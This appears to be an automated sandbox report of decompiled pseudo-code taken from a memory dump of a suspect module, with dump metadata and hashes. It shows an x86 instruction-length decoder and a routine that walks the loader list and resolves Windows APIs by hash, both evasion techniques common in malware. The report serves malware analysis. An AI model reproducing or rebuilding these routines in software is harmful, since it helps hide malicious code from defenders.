				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E705C35D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x705c92e3
0x705c92e7
0x705c92f3
0x705c92f7
0x705c92fb
0x705c9300
0x705c9303
0x705c9305
0x705c9307
0x705c9307
0x705c930a
0x705c9310
0x705c9388
0x705c938c
0x705c938f
0x705c938f
0x705c9392
0x00000000
0x705c9392
0x705c9317
0x705c937f
0x705c9383
0x00000000
0x705c9383
0x705c931e
0x705c9377
0x705c937a
0x00000000
0x705c937a
0x705c9323
0x705c9361
0x705c9368
0x705c936b
0x705c9334
0x705c9334
0x705c933a
0x00000000
0x00000000
0x705c933f
0x705c9359
0x705c935c
0x00000000
0x705c935c
0x705c9344
0x00000000
0x705c9346
0x705c934a
0x705c934d
0x00000000
0x705c934d
0x705c9344
0x705c9395
0x705c9395
0x705c9395
0x705c939e
0x705c93a7
0x705c93aa
0x705c93ad
0x705c93b0
0x705c93b3
0x705c93b9
0x705c93fb
0x705c93fe
0x705c93ff
0x705c9406
0x705c9409
0x705c93bb
0x705c93bf
0x705c93c9
0x705c93d0
0x705c93d2
0x705c93eb
0x705c93ee
0x705c93ee
0x705c93d0
0x705c9411
0x705c9414
0x705c9417
0x705c941b
0x705c941f
0x705c9429
0x705c942d
0x705c9437
0x705c9440
0x705c944d
0x705c9450
0x705c9453
0x705c9453
0x705c945f
0x705c946a
0x705c9470
0x705c9474
0x705c9461
0x705c9461
0x705c9461
0x705c947c
0x705c94a6
0x705c94ac
0x705c94ac
0x705c94b4
0x705c985d
0x705c9863
0x705c9869
0x705c9869
0x00000000
0x705c94ba
0x705c94ba
0x705c94be
0x705c94c1
0x705c94c4
0x705c94c7
0x705c94cb
0x705c94cd
0x705c94d0
0x705c94d3
0x705c94d7
0x705c94dc
0x705c94df
0x705c94e3
0x705c94e8
0x705c94eb
0x705c94ed
0x705c94f0
0x705c94f4
0x705c94f9
0x705c9509
0x705c950f
0x705c950f
0x705c9517
0x705c9519
0x705c9522
0x705c9524
0x705c9527
0x705c9532
0x705c955f
0x705c9534
0x705c954b
0x705c954b
0x705c9567
0x705c956d
0x705c9573
0x705c9573
0x705c9567
0x705c9522
0x705c957a
0x705c95eb
0x705c95f0
0x705c9649
0x705c970b
0x705c9710
0x705c971f
0x705c9725
0x705c9729
0x705c9732
0x705c9739
0x705c9742
0x705c9750
0x705c9753
0x705c973b
0x705c973b
0x705c973b
0x705c9739
0x705c975c
0x705c9789
0x705c979c
0x705c97a4
0x705c978b
0x705c978d
0x705c9795
0x705c9795
0x705c975e
0x705c9763
0x705c9782
0x705c9765
0x705c976a
0x705c977b
0x705c976c
0x705c976c
0x705c976c
0x705c976a
0x705c9763
0x705c97ac
0x705c97bb
0x705c97c8
0x705c97d1
0x705c97d5
0x705c97d9
0x705c97dc
0x705c97df
0x705c97e2
0x705c97e5
0x705c97e8
0x705c97ee
0x705c97f2
0x705c97f8
0x705c97f8
0x705c97ee
0x705c97fe
0x705c983b
0x705c983f
0x705c9846
0x705c984c
0x705c9800
0x705c9803
0x705c9823
0x705c9827
0x705c982e
0x705c9835
0x705c9805
0x705c9808
0x705c980a
0x705c980e
0x705c9818
0x705c981e
0x705c981e
0x705c9808
0x705c9803
0x705c9853
0x705c9853
0x705c986c
0x705c986c
0x705c9872
0x705c9877
0x705c98d1
0x705c98d6
0x705c9915
0x705c991a
0x705c991c
0x705c9920
0x705c9923
0x705c9926
0x705c9928
0x705c9929
0x705c9929
0x705c992e
0x705c994c
0x705c994e
0x705c9952
0x705c9958
0x705c995b
0x705c995d
0x705c995e
0x705c995e
0x00000000
0x705c9930
0x705c9930
0x705c9930
0x705c9934
0x705c993a
0x705c993d
0x705c993f
0x705c9942
0x705c9961
0x705c9961
0x705c9968
0x705c9982
0x705c996a
0x705c996a
0x705c9976
0x705c9977
0x705c997a
0x705c997a
0x705c9990
0x705c9990
0x705c992e
0x705c98db
0x705c98e9
0x705c9901
0x705c9905
0x705c9908
0x705c990e
0x705c9912
0x705c9912
0x00000000
0x705c9912
0x705c98eb
0x705c98ef
0x705c98f5
0x705c98f5
0x705c98fb
0x00000000
0x705c98fb
0x705c98dd
0x705c98e1
0x00000000
0x705c98e1
0x705c987b
0x705c98a7
0x705c98bf
0x705c98c3
0x705c98c6
0x705c98c9
0x705c98cb
0x705c98ce
0x705c98a9
0x705c98a9
0x705c98ad
0x705c98b0
0x705c98b3
0x705c98b6
0x705c98b9
0x705c98b9
0x00000000
0x705c98a7
0x705c9881
0x00000000
0x00000000
0x705c9887
0x705c988b
0x705c9891
0x705c9894
0x705c9897
0x705c989a
0x00000000
0x705c989a
0x705c9712
0x705c9716
0x705c971c
0x00000000
0x705c971c
0x705c9654
0x705c9666
0x705c966b
0x705c96d6
0x00000000
0x00000000
0x705c96dd
0x705c9703
0x705c9707
0x00000000
0x00000000
0x705c96e6
0x705c96eb
0x705c96ff
0x00000000
0x00000000
0x00000000
0x705c9701
0x705c96f2
0x00000000
0x00000000
0x705c96f7
0x00000000
0x00000000
0x705c96f9
0x00000000
0x705c96dd
0x705c966d
0x705c9677
0x705c9688
0x705c968b
0x705c968e
0x705c9694
0x00000000
0x00000000
0x00000000
0x00000000
0x705c969a
0x705c969a
0x705c969a
0x705c96a1
0x00000000
0x00000000
0x705c96a3
0x705c96a6
0x705c96ac
0x00000000
0x00000000
0x00000000
0x705c96ae
0x705c96b0
0x705c96b9
0x00000000
0x00000000
0x705c96cd
0x00000000
0x00000000
0x00000000
0x705c96cf
0x705c965b
0x00000000
0x00000000
0x00000000
0x705c9661
0x705c95f5
0x705c9624
0x705c9625
0x705c962e
0x00000000
0x705c963f
0x00000000
0x705c963f
0x705c95fc
0x705c95ff
0x705c9612
0x705c9613
0x705c9617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x705c95ff
0x705c95f5
0x705c9581
0x705c95de
0x705c95e2
0x705c95e8
0x00000000
0x705c95e8
0x705c9583
0x705c9587
0x705c9594
0x705c9598
0x705c95ae
0x705c95b6
0x705c959a
0x705c959c
0x705c95a6
0x705c95a6
0x705c95bc
0x705c95c5
0x705c95dc
0x00000000
0x00000000
0x00000000
0x705c95dc
0x705c95c7
0x705c95c7
0x00000000
0x705c95bc

Strings

, xrefs: 705C9947

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 230f2fc89a2fb5cf5c6774f6a3a2c1fe4d70a086667d9df73cdd59c5d9d9c2cc
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: 0122993040938A8BD716DE55C49936FBFF5FF86200F10886EE9DA4B281E334D985DB92

Uniqueness

Uniqueness Score: -1.00%

Function 705C14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E705C14D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E705C03A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x705cd208 == 0 ||  *0x705cd2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E705C4BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x705cd2ec |  *0x705cd2ed;
									if(( *0x705cd2ec |  *0x705cd2ed) == 0) {
										_t525 =  *0x705cd208; // 0x4551340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x705cd2ec = 1;
											_t526 = E705C3558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E705C1CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x705cd208 = _t526;
											 *0x705cd2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E705C3558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E705C1CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E705BE070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E705BE070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x705cd20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x705cd210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E705BE94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E705C2F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x705cd2e4 = 1;
					E705BF620( &(_t535[0x38]), 0);
					E705BF620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E705BF558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E705C2F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E705BF8C4( &(_t535[0xc]), E705BF568( &(_t535[8])) + 0x14);
								_t369 = E705BF558( &(_t535[0xc]), E705BF568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E705BF6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E705BF620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E705BF6F0( &(_t535[8]));
							E705BF6F0( &(_t535[0x164]));
							E705BF620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E705BF620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E705C1DD0(0xa5eabdf8);
							_t290 = E705C1388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E705C1D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
